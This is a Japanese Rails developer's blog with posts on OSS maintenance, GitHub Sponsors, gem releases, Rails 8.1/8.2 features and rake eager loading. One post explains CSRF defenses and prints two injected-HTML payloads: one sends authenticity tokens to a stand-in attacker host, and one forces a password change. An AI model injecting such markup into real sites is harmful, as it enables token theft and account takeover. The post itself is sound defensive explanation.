おもしろwebサービス開発日記

Ruby や Rails を中心に、web技術について書いています

GitHub Sponsorsを始めました

始めてみました。

github.com

ここ最近はseed-fuをforkしたりgonのメンテナになったりSorceryのメンテナになったりと、メンテが滞っているライブラリの手助けをすることが増えてきました。あとCIが整っていないライブラリを見つけたら直すというのをちょくちょくやっています。

メンテされないgemとどう向き合うか。“普通のOSS開発者” willnetさんの取り組み - Findy Media | IT/Webエンジニアの転職・求人サイトFindy – GitHubからスキル偏差値を算出 にもCI改善の話を書きました。

僕はこれらのgemを直接自分では使っていない事が多いです。お手伝い先が使っていることがモチベーションになっていますが、将来的にお手伝い先がそのgemを使わなくなったらどうでしょう?僕は自分のメンテナンスしているライブラリが最新のRubyやRailsで動かなくなるのは絶対嫌なのでメンテナンスが止まることはない*1と思いますが、モチベーションは少し下がりそうです。

でも僕のメンテナンスしているライブラリを直接使っている他の人や会社が応援してくれたらもっとやる気が出そうだな、と思ったのでGitHub Sponsorsを始めてみました。

OSSの継続可能性について考えている

GitHub Sponsorsを始めたのにはもう一つ理由があって、それは「GitHub Sponsorsが備えている機能を使ってみたかった」です。

メンテが滞っているライブラリの手助けをするなかで、もっとOSSエコシステムをいい感じにできんもんかな、というのを時折考えます。例えば人気のOSSライブラリをメンテナンスしているひとにお金がちょっとでも入ってきたらメンテナンスが滞ることも減るんじゃないかなと思うのですが、現状そうなってはいません。

GitHub Sponsorsは我々開発者にとって一番身近な寄付の手段であるので、スポンサーを受ける側としてどういう機能があって、どのような手法で寄付を募ることができるのかを実際に使ってみることで知りたかったのでした。

実際に始めてみると、寄付してくれた人限定でprivateリポジトリの招待ができたり、ニュースレターを遅れたりする機能があるのを見つけました。なので

  • 毎月10ドル以上のスポンサーに活動報告を送ります
  • 毎月100ドル以上のスポンサーに公開前のOSSライブラリを閲覧できる権利を付与します

みたいなことはできそうです。実際やるかはさておき、いろんな手段があるのは良いですね。

まとめ

もし@willnetを応援してもいいぞ、という人や企業がいたらスポンサーのほどよろしくお願いします!

github.com

*1:僕が健康でいる限り

seed-do v3.2.0をリリースしました

先程 seed-do v3.2.0をリリースしました。変更内容は内部改善のみです。詳細は以下のリンクからどうぞ。

Release v3.2.0 · willnet/seed-do

seed-doの改善モチベがあがってきた

以前のエントリではseed-doのメンテナンス方針に関して次のように書いていました。

僕はseed-doを直接は使ってないので新規の機能開発に意欲はないのですが、今後も新しいRubyやRailsでちゃんと動くようにするモチベはある

しかしお手伝い先でまあまあヘビーにseed-doを使っているのをみて、seed-doを改善すると改善しただけ開発やテストが捗るだろうな〜という気持ちになってきました。特に速度を改善するとCIが速くなってお財布に優しい。というわけでモチベーションが少しあがってきたので、次カッとなったときに改善しやすいように目についたところを直した、というのがv3.2.0リリースの内情です。

seed-doの速度改善案

seed-doは素朴に一つずつモデルを永続化しているスタイルなので、bulk insertができると速くなるのは間違いなさそうです。なのでSeedDo.bulk_seedのようなメソッドを新設して、そこからseedを実行した場合はbulk insertになるようにしてあげると良いんじゃないかな〜と想像しているところです。ポイントは既存のdb/fixtures/**.rbは一行も変えなくても良いというところ。

しかし今どきAI Agentで機械的な書き換えは比較的容易にできるので、わざわざseed-do側で頑張らなくても各自AI Agentでseed-doをRailsのupsert_allを使う形で置き換えればいいのでは?という気持ちもあります。どうでしょうね。ご意見お待ちしてます。

RailsでCSRFトークンを使うことで防ぐことのできる攻撃について

Rails8.2ではCSRFトークンを使わずにCSRFを防げるようになりそう - おもしろwebサービス開発日記の続きです。前回のエントリではRails8.2からトークンを使わずにCSRFを防ぐ仕組みが入るぞ、という話をしました。偽陽性がかなり減ることが予想されるため、個人的には大歓迎です。

ただ、トークンを利用することで防げる攻撃もあるので100%上位互換というわけではないぞ、という話をこれからします。

前提: Railsはフォームごとに別々のトークンを発行する

Railsはこれまでトークンを利用してCSRF攻撃を検知していました。Rails5.0からはデフォルトでフォームごと*1に別々のトークンを利用されるようになっています。これはconfig.action_controller.per_form_csrf_tokens = trueとするかconfig.load_defaults 5.0以上で有効になっています。

PRはこちら。 Per-form CSRF tokens by btoews · Pull Request #22275 · rails/rails

なぜわざわざフォームごとに別々のトークンが必要なのでしょうか?CSRF攻撃を検知する目的であれば単一のトークンで良いように思えますよね。説明は上記PRに書いているのですが、読むのは大変だと思うので以下に要約しておきます。

フォームごとに別々のトークンを発行することで防ぐことのできる攻撃

まずRailsアプリケーションにXSSの脆弱性が存在することと、CSPが適切に設定されていてXSSからのJavaScriptを実行できなくなっていることが前提となります。JavaScriptが実行できなければXSSの脆弱性があっても安心…というわけではありません。次のような形で攻撃ができてしまいます。<!-- xss -->と書かれた行が攻撃者が追加した文字列です。

<form method="post" action="//attacker.example.com/tokens"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
 <input type="submit" value="なにかを登録する">
</form>

このように正規のformタグの外側にformタグをネストさせることで、(HTMLとしては不正ですが)攻撃者が用意したURLにformの内容を送信させ、フォームの入力内容やトークンを盗むことができてしまいます。この攻撃自体はCSPのform-action を利用することで防ぐことができます。しかし次のような同一オリジンに対する送信は防ぐことができません。ユーザが送信ボタンを押すと、攻撃者が設定したパスワードに意図せず変更されてしまいます。

<form method="post" action="/user/change_password"><!-- xss -->
<input type="hidden" name="password" value="password"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
 <input type="submit" value="なにかを登録する">
</form>

フォームごとに異なるトークンを付与することで、この攻撃をActionController::InvalidAuthenticityTokenエラーにするなどして無効にできます。

感想

トークンを使うことで防ぐことのできる攻撃を紹介しました。前提条件がかなり難しいので僕を含む一般的な開発者はそこまで気にしなくていいとは思います(それよりもXSSできないように注意するほうが重要でしょう)。が、こういう攻撃手法もあるんですよという話は知っておいて損はないかと思ったので紹介してみました。

*1:正確には送信先のアクションごと

Rails8.2ではCSRFトークンを使わずにCSRFを防げるようになりそう

RailsではCSRF攻撃を防ぐために、フォームからのリクエスト送信時に自動でトークン(Authenticity Token)を付与して検証する仕組みを持っています。この仕組みがデフォルトで有効になっているため深く考えなくてもセキュアな実装になる点は便利です。一方で、ユーザが普通にサービスを利用しているにもかかわらずトークンの検証に失敗する偽陽性も度々起こり面倒に感じている人も多いように思います。

Rails8.2以降は、そんなトークンの仕組みを使わずにCSRFを防げるようになりそうです。次のPRが先日マージされました。

Use a modern approach for cross-site request forgery protection by rosa · Pull Request #56350 · rails/rails

詳細はこのPRにすべて書かれているのでそれを読んでください。と書きたいところですがそれだとあまりに雑なので日本語で概要を載せておきます。

CSRF攻撃の検証方法がどのように変わるか

モダンブラウザであれば自動で送信されるSec-Fetch-Site ヘッダーの値を見て、same-originもしくはsame-siteの値であれば問題ないと判断します。

config.action_controller.forgery_protection_verification_strategy = :header_onlyとするか、config.load_defaults 8.2とするとSec-Fetch-Siteヘッダーの値だけを見てCSRFの検証を行います。

古いブラウザを使うユーザが一定数いる等、Sec-Fetch-Siteヘッダーがない環境で運用するサービス向けに:header_or_legacy_tokenという設定も用意されています。何も設定されていない場合はこちらがデフォルトの振る舞いになります。

:header_or_legacy_tokenはまずSec-Fetch-Siteヘッダーの検証を試みてsame-originもしくはsame-siteであれば問題ないと判断します。none(アドレスバーにURLを直接入れるなどのユーザ起因で送られるリクエスト)だったりSec-Fetch-Siteヘッダーがない場合はトークンによる検証にフォールバックします。フォールバック時にログが残せるようになっているため、最初は:header_or_legacy_tokenで運用して影響範囲を見極めたうえで:header_onlyに変更するという流れができてべんり。

また、次のように書くことで特定のOriginからはCSRFの検証をスキップできるようにもなりました。

protect_from_forgery trusted_origins: %w[ https://trusted.example.com ]

信頼している外部サービスからのリクエストを受け付ける時、これまでは該当エンドポイントをskip_forgery_protectionせざるを得なかったのですが今後はその必要はなくなりますね。

感想

めちゃくちゃ便利でいいじゃん、となっています。早くRails8.2使いたいですね。

ただし、Sec-Fetch-Siteを利用するやり方はトークンを利用した方式の完全上位互換ではなく、めちゃくちゃレアケースですがトークンを利用することで防げる攻撃もあります。次回はそれについて書くつもりです。というかレアケースの方の話を書きたくてブログを書き始めたのですがそこまでたどり着けなかった…。

ginza.rb 第94回を開催してRails8.1について学んだ

Ginza.rb 第94回 - Rails8.1について学ぶぞ - connpass

第94回は10月22日にリリースされたRails8.1について学んでいきました。

メジャーフィーチャーについてy-yagiさんのまとめた資料を参考にしつつ学び、マイナーフィーチャーと関連した話題について僕のつくったgistを参考にしつつ話をしていきました。

個人的な感想

特に気になったものについて書いています。

Active Job Continuations

Active Job Continuationsは、大きいジョブを運用しているときにめっちゃ便利なケースがあるけど、たとえばOOMKillerにワーカプロセスが殺されたときはうまくContinueしないぞ、などきちんと機能の詳細を把握して使わないと困るケースが有り玄人向けの機能だな〜という感想を持っています。あとこれは当然なんだけどSidekiqを直接使っている会社だと使えないのが残念。

Local CI

これがRailsに入ったタイミングでは、仕事のRailsアプリケーションはさすがにローカルで実行するには実行時間が長すぎて使えないので個人開発向けだろう、と思っていました。が、最近は少し考え方が変わって仕事のRailsアプリケーションでも一部ローカルで実行できるんじゃないかなあと思っています。(アプリケーションの規模によるけど)lintやモデルのテストだけでもローカルで実行する、ができるとgit pushして30分待ってtypoに気づき、修正してgit pushしてまた30分待つ…みたいなのが減らせて開発のリズムが良くなるんじゃないかなと。gh-signoff のPartial signoffを利用したらローカルで通したテストについてはクラウドでスキップする、が工夫したらできるんじゃないかな(まだ試せてない)。そうするとCI料金も減らせてなお良さそう。

Structured Event Reporting

待望の機能ではあるけどRails8.1時点だとまだ利用するのに工夫が必要なので、差し迫って構造化ログが必要な状況なひといあれば8.2を待ったほうがいいんじゃないかなと個人的には思っています。

Deprecated Associations

歴史のあるアプリケーションを整理するのにべんりでは。

開発時のエラーページの改善

これらの話

特に後者のテキストをコピーするボタンはAI Agent開発時代に即した便利機能で最高だなと思っています。

次回

次回は1月16日(金)開催で、Ruby4.0について学んでいく予定です。興味がある人ぜひご参加ください(\( ⁰⊖⁰)/)

Ginza.rb 第95回 - Ruby4.0について学ぶぞ - connpass

Sorceryのメンテナになってv0.18.0をリリースした

SorceryはRails向けの認証用ライブラリです。2025年現在ではRailsで認証と言えばdeviseを思い浮かべる人が多いと思いますが、10年ほど前はもっと多様な選択肢があり、その選択肢の中にはSorceryも入っていました。

Sorceryを使う利点の一つは比較的素朴に作られているためコードが読みやすい点です。モジュールの形で認証の各機能が整理されています。これらのモジュールがモデルやコントローラにincludeされて利用されるので「この機能はどのように動いているのだろう?」と思ったときに比較的容易に振る舞いを理解することができます。

Sorceryの滞っていたメンテナンスを再開させた

そんなSorceryですがここ数年はメンテナンスが滞っており、一時期は"Sorcery is currently unmaintained"という宣言がREADMEに書かれていました。

僕自身は直接Sorceryを使っていませんが、お手伝い先が使っているのとRailsのお作法に則っていない*1のがどうしても気になるのでメンテナになって少しずつコミットを積むことにしました。

Sorceryは他のgemと違い単純にActiveSupport.on_loadを利用すると既存の振る舞いを壊してしまいます。そのため修正にはかなり大掛かりな構造変更が必要になるのではないかと考えています。場合によっては非互換な変更が避けられないかもしれません。そのためにまずは溜まっている技術負債を返済してから取り組むつもりで少しずつ活動しています。来年中にはお作法通りに動かせるといいなあ。

本当はお作法の箇所を直してからリリースしたかったのですが、だいぶ差分が大きくなってしまったのと、早くリリースしたほうがいい機能があったのでこのタイミングでv0.18.0をリリースすることにしました。

Release v0.18.0 · Sorcery/sorcery

v0.18.0のリリースにあたってリリース権限をもらったので、今後はもっと細かい単位でリリースできると思います。

主な変更点

1番大きい変更は古いRubyとRailsのサポートを切り捨ててRuby3.2以上、Rails7.1以上のサポートにしたところです。これによりRailsのバージョン分岐をするif文が減ってメンテナンスしやすくなりました。

次に大きい変更点はredirect_back_or_toのメソッド名変更です。該当PRはこちら: Add an option 'use_redirect_back_or_to_by_rails' to avoid definition conflicts of redirect_back_or_to by atolix · Pull Request #373 · Sorcery/sorcery。Sorceryはもともと「未ログイン状態でアクセスしたときのパスへログイン後にリダイレクトする」ためのメソッドとしてredirect_back_or_toメソッドを用意していましたが、Rails7.0で同名のメソッドができてしまいました。Rails版は「リファラがあったらリファラのパスにリダイレクトする」というメソッドになっており振る舞いが違います。メソッドの探索順序の都合でSorcery側が優先されるため、Rails版を使っている認識なのに実はSorcery版のredirect_back_or_toを使っていた、というケースが起こり得ます。これを防ぐためにSorcery版は別名(redirect_to_before_login_path)を用意して、Sorcery版のredirect_back_or_toを使ったら警告を出すようにしました。もしSorceryを使っているひとがいたらredirect_back_or_toを使っているところがあるかどうか確認ください。

協力のお願い

僕のSorceryを改善するモチベーションはseed-fugonの時と同様に、新しいRubyやRailsでちゃんと動くようにしたいというところが大きいです。機能追加もPRがきたら考慮しますが、自分から積極的にどうこうするというつもりは今のところないです。つまりRailsのお作法に則ったコードにするまではそれなりに僕の手は動くと思いますが、それ以降は最低限の活動になると予想されます。

恐らく日本でSorceryを使っている会社は少なからずあると思うので、興味があるひとは改善に手を貸してもらえると嬉しいです。まだまだ改善できるポイントはたくさんあります!

Sorcery/sorcery: Magical Authentication

*1:Railsのお作法に関しては以前ブログエントリにした ので詳細はこちらを参照ください

rakeタスクはconfig.rake_eager_loadを設定しないと本番環境でもeager loadしない

これはRuby/Rails Advent Calendar 2025 の 5日目の記事です。

Ruby/Rails - Qiita Advent Calendar 2025 - Qiita

次のPRで、Rails8.2でrails newしたときに生成されるconfig/environments/test.rbconfig.rake_eager_load = ENV["CI"].present?が追加されました

Fix CI eager loading when rake tasks invoke :environment before tests by trevorturk · Pull Request #56212 · rails/rails

これはなんでしょうか。というのが今日の本題です。これを説明するには前提となるところから話していかないといけません。

config.eager_loadとは

Railsにはconfig.eager_loadという設定があります。これはRailsを起動したときにすべてのアプリケーションコードを読み込むかどうかの設定です。だいたいのRailsアプリケーションにおいて開発環境ではfalse、本番環境ではtrueになっているはずです。

テスト環境においては、Rails7.0より前はデフォルトfalseでしたが、Rails7.0からENV["CI"]の有無を見てCI実行時にはeager_loadするという設定になりました*1

Enable eager loading by default on CI systems by byroot · Pull Request #43508 · rails/rails

CIでアプリケーション全体のテストを実行するときはeager loadしたほうがテストが安定するというのが主な理由です。

config.rake_eager_loadとは

一方で、rakeタスク実行時はeager_loadを無効にするという仕様がありました(Rails4.1から)。

導入されたPR: #11381: Ignore config.eager_load=true for rake by pftg · Pull Request #11389 · rails/rails 元となったIssue: Precompile tries to access the database on acceptance validation · Issue #11381 · rails/rails

元となったIssueは、「自分のアプリケーションだとrake assets:precompileでDBアクセスが発生してrakeタスクが失敗するのでそれを避けたい」というものでした。これの解決策として「rakeタスク実行時はeager loadを無効にする」が入りました。

しかしrakeタスクでeager_loadを強制的に無効にするのではなくて設定可能にしたいという人が現れconfig.rake_eager_loadが生まれました(Rails6.1から)。

[Railties] Add config rake_eager_load by tjoyal · Pull Request #28209 · rails/rails

互換性を考えてデフォルトはfalseになっています。

rakeタスクのときは常にconfig.rake_eager_loadを見る

先程Rails7.0以降はENV["CI"]の有無を見てCI実行時にはeager_load設定になったと書きましたが、これはrakeタスクには適用されていませんでした。理由はconfig.rake_eager_loadを参照する次のコードです。

rails/railties/lib/rails/application.rb at 4c53863e354ad94dbfaf0643d9cdc99393a1a583 · rails/rails

Railsアプリケーションで利用するrakeタスク内でよく使われる:environmentタスクを実行するとconfig.rake_eager_loadの値でconfig.eager_loadが上書きされてしまいます。これによりeager loadしているはずのbin/rails testがeager loadしていませんでした。

RSpecだとどうだろう?と思ったのでbin/rake経由でのRSpecを実行したのですがconfig.eager_load #=> trueだったので、恐らくRSpecユーザは(少なくともテストの実行に関しては)影響はないはず。

しかしRails標準のテスト実行時にconfig.eager_load = trueしたはずなのにeager loadされていないというのは混乱を招くので、今回その対策としてconfig.rake_eager_load = ENV["CI"].present?もconfig/environments/test.rbに追加されたというわけです。

テストに限らず本番環境でもconfig.rake_eager_loadは気をつけないといけない

ここまでCIの話をしましたが、本番環境でも同じことがおきます。config.eager_load = trueになっていてもconfig.rake_eager_load = trueにしないとrakeタスク実行時にeager loadしません。これを知らずにeager loadしている前提のrakeタスクを実行すると不具合に繋がります。

Rails Guidesにも2年ほど前に注意書きが追加されています。

Document config.rake_eager_load in the autoloading guide · rails/rails@6cbd2c9

今回導入されたPRはRails8.2でrails newしたときに反映されますが、各設定値は昔からあるものなので先んじてconfig/environments/test.rbやconfig/environments/production.rbに反映しておくと幸せになれる人がいるのではないでしょうか。

こういう話をもっと聞きたいひと

今回のエントリはお手伝い先で最近のRails情報を共有する一環で調査したものです。もっとこういう話を聞きたいぞ、というひとは 株式会社ウィルネットとして提供する技術顧問サービスについて を参照のうえお問い合わせください。

*1:Rails7.0以降でrails newしたときのconfig/environmets/test.rbがそうなるというだけなので、昔からあるRailsアプリケーションでは変わらずfalseなところも多いと思います。